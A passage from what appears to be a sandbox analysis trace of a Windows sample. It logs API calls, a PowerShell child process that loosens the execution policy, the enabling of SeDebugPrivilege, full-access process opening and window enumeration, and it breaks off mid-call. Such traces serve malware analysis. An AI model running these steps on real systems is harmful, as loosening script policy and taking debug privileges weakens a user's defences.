lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba559a0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9ba559a0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9ba559a0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="j-PQ.lnk", cAlternateFileName="")) returned 1 [0076.728] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I_dy9.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\j-PQ.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\j-PQ.lnk") returned 1 [0076.728] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\j-PQ.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\j-PQ.lnk") returned 1 [0076.728] SysReAllocStringLen (pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\j-PQ.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\j-PQ.lnk", len=0x50) Thread: id = 63 os_tid = 0xb74 Thread: id = 64 os_tid = 0xb78 Thread: id = 65 os_tid = 0xb7c Thread: id = 66 os_tid = 0xb80 Thread: id = 67 os_tid = 0xb84 Thread: id = 68 os_tid = 0xb88 Thread: id = 70 os_tid = 0xb90 Thread: id = 130 os_tid = 0x89c [0075.279] GetLastError () returned 0x0 [0075.280] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0075.280] _calloc_base (_Count=0x1, _Size=0x28) returned 0x660658 [0075.280] _free_base (_Block=0x0) [0075.280] SetLastError (dwErrCode=0x0) [0076.287] _free_base (_Block=0x660658) Process: id = "11" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x1b8ad000" os_pid = "0xb50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xb40" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 59 os_tid = 0xb54 [0058.164] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0058.320] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0058.320] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0058.320] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0058.321] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0060.777] GetVersionExW (in: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0060.777] GetLastError () returned 0x2 [0060.778] GetVersionExW (in: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0060.778] GetLastError () returned 0x2 [0060.783] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e66c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.783] GetLastError () returned 0x2 [0060.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.796] GetLastError () returned 0x2 [0060.796] GetVersionExW (in: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0060.796] GetLastError () returned 0x2 [0060.796] SetErrorMode (uMode=0x1) returned 0x1 [0060.798] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x29eb08 | out: lpFileInformation=0x29eb08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0060.798] GetLastError () returned 0x2 [0060.798] SetErrorMode (uMode=0x1) returned 0x1 [0060.805] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x29eb8c | out: lpdwHandle=0x29eb8c) returned 0x94c [0060.812] GetLastError () returned 0x0 [0060.814] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2a84dcc | out: lpData=0x2a84dcc) returned 1 [0060.819] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29eb58, puLen=0x29eb54 | out: lplpBuffer=0x29eb58*=0x2a84e68, puLen=0x29eb54) returned 1 [0060.821] lstrlenW (lpString="䅁") returned 1 [0060.835] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a84f44, puLen=0x29ead0) returned 1 [0060.835] lstrlenW (lpString="Microsoft Corporation") returned 21 [0060.836] lstrcpyW (in: lpString1=0x3566f8, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0060.836] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a84f98, puLen=0x29ead0) returned 1 [0060.836] lstrlenW (lpString="System.Management.Automation") returned 28 [0060.837] lstrcpyW (in: lpString1=0x3566f8, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0060.837] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a84ff4, puLen=0x29ead0) returned 1 [0060.837] lstrlenW (lpString="6.1.7601.17514") returned 14 [0060.837] lstrcpyW (in: lpString1=0x3566f8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0060.837] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a85034, puLen=0x29ead0) returned 1 [0060.837] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0060.837] lstrcpyW (in: lpString1=0x3566f8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0060.837] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a8509c, puLen=0x29ead0) returned 1 [0060.837] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0060.837] lstrcpyW (in: lpString1=0x3566f8, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0060.837] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a85138, puLen=0x29ead0) returned 1 [0060.837] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0060.837] lstrcpyW (in: lpString1=0x3566f8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0060.837] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a8519c, puLen=0x29ead0) returned 1 [0060.837] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0060.837] lstrcpyW (in: lpString1=0x3566f8, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0060.837] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a85218, puLen=0x29ead0) returned 1 [0060.837] lstrlenW (lpString="6.1.7601.17514") returned 14 [0060.838] lstrcpyW (in: lpString1=0x3566f8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0060.838] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x2a84ec0, puLen=0x29ead0) returned 1 [0060.838] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0060.838] lstrcpyW (in: lpString1=0x3566f8, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0060.838] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x0, puLen=0x29ead0) returned 0 [0060.838] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x0, puLen=0x29ead0) returned 0 [0060.838] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x29ead4, puLen=0x29ead0 | out: lplpBuffer=0x29ead4*=0x0, puLen=0x29ead0) returned 0 [0060.838] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29eac8, puLen=0x29eac4 | out: lplpBuffer=0x29eac8*=0x2a84e68, puLen=0x29eac4) returned 1 [0060.839] VerLanguageNameW (in: wLang=0x0, szLang=0x3566f8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0060.856] VerQueryValueW (in: pBlock=0x2a84dcc, lpSubBlock="\\", lplpBuffer=0x29eadc, puLen=0x29ead8 | out: lplpBuffer=0x29eadc*=0x2a84df4, puLen=0x29ead8) returned 1 [0060.880] GetCurrentProcessId () returned 0xb50 [0060.960] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x29e314 | out: lpLuid=0x29e314*(LowPart=0x14, HighPart=0)) returned 1 [0060.962] GetLastError () returned 0x0 [0060.963] GetCurrentProcess () returned 0xffffffff [0060.963] GetLastError () returned 0x0 [0060.965] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x29e310 | out: TokenHandle=0x29e310*=0x30c) returned 1 [0060.965] GetLastError () returned 0x0 [0060.971] AdjustTokenPrivileges (in: TokenHandle=0x30c, DisableAllPrivileges=0, NewState=0x2a8790c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0060.971] GetLastError () returned 0x0 [0060.972] CloseHandle (hObject=0x30c) returned 1 [0060.972] GetLastError () returned 0x0 [0060.983] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb50) returned 0x30c [0060.983] GetLastError () returned 0x0 [0060.992] EnumProcessModules (in: hProcess=0x30c, lphModule=0x2a87950, cb=0x100, lpcbNeeded=0x29eb04 | out: lphModule=0x2a87950, lpcbNeeded=0x29eb04) returned 1 [0060.993] GetLastError () returned 0x0 [0060.999] GetModuleInformation (in: hProcess=0x30c, hModule=0x227e0000, lpmodinfo=0x2a87a90, cb=0xc | out: lpmodinfo=0x2a87a90*(lpBaseOfDll=0x227e0000, SizeOfImage=0x72000, EntryPoint=0x227e7363)) returned 1 [0060.999] GetLastError () returned 0x0 [0061.001] GetModuleBaseNameW (in: hProcess=0x30c, hModule=0x227e0000, lpBaseName=0x356eb8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0061.001] GetLastError () returned 0x0 [0061.002] GetModuleFileNameExW (in: hProcess=0x30c, hModule=0x227e0000, lpFilename=0x356eb8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0061.002] GetLastError () returned 0x0 [0061.003] CloseHandle (hObject=0x30c) returned 1 [0061.003] GetLastError () returned 0x0 [0061.014] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb50) returned 0x30c [0061.014] GetLastError () returned 0x0 [0061.016] GetExitCodeProcess (in: hProcess=0x30c, lpExitCode=0x2a86f40 | out: lpExitCode=0x2a86f40*=0x103) returned 1 [0061.016] GetLastError () returned 0x0 [0061.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a85278, Length=0x20000, ResultLength=0x29eb4c | out: SystemInformation=0x3a85278, ResultLength=0x29eb4c*=0xa558) returned 0x0 [0061.075] EnumWindows (lpEnumFunc=0x2773612, lParam=0x0) returned 1 [0061.077] GetWindowThreadProcessId (in: hWnd=0xb01b2, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xb34 [0061.077] GetLastError () returned 0x0 [0061.077] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x558 [0061.077] GetLastError () returned 0x0 [0061.077] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.077] GetLastError () returned 0x0 [0061.077] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.077] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x538 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x778 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x778 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.078] GetLastError () returned 0x0 [0061.078] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.079] GetLastError () returned 0x0 [0061.079] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x460 [0061.079] GetLastError () returned 0x0 [0061.080] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.080] GetLastError () returned 0x0 [0061.080] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.080] GetLastError () returned 0x0 [0061.080] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xb54 [0061.080] GetLastError () returned 0x0 [0061.085] GetWindow (hWnd=0x4011e, uCmd=0x4) returned 0x0 [0061.087] IsWindowVisible (hWnd=0x4011e) returned 0 [0061.087] GetWindowThreadProcessId (in: hWnd=0x601ba, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xadc [0061.087] GetLastError () returned 0x0 [0061.087] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x3c0 [0061.087] GetLastError () returned 0x0 [0061.087] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0xab0 [0061.087] GetLastError () returned 0x0 [0061.087] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.087] GetLastError () returned 0x0 [0061.087] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.087] GetLastError () returned 0x0 [0061.087] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.087] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x4d0 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x178 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x240 [0061.088] GetLastError () returned 0x0 [0061.088] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x62c [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x64 [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x11c [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7e0 [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x590 [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7a0 [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x794 [0061.089] GetLastError () returned 0x0 [0061.089] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7fc [0061.089] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x688 [0061.090] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x7b0 [0061.090] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x724 [0061.090] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x2ac [0061.090] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x248 [0061.090] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x328 [0061.090] GetLastError () returned 0x0 [0061.090] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x604 [0061.090] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x32c [0061.091] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x660 [0061.091] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x440 [0061.091] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x540 [0061.091] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x538 [0061.091] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x568 [0061.091] GetLastError () returned 0x0 [0061.091] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x538 [0061.091] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x568 [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x538 [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x540 [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x540 [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x510 [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x29e7a0 | out: lpdwProcessId=0x29e7a0) returned 0x57c [0061.092] GetLastError () returned 0x0 [0061.092] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x29e7a0 | 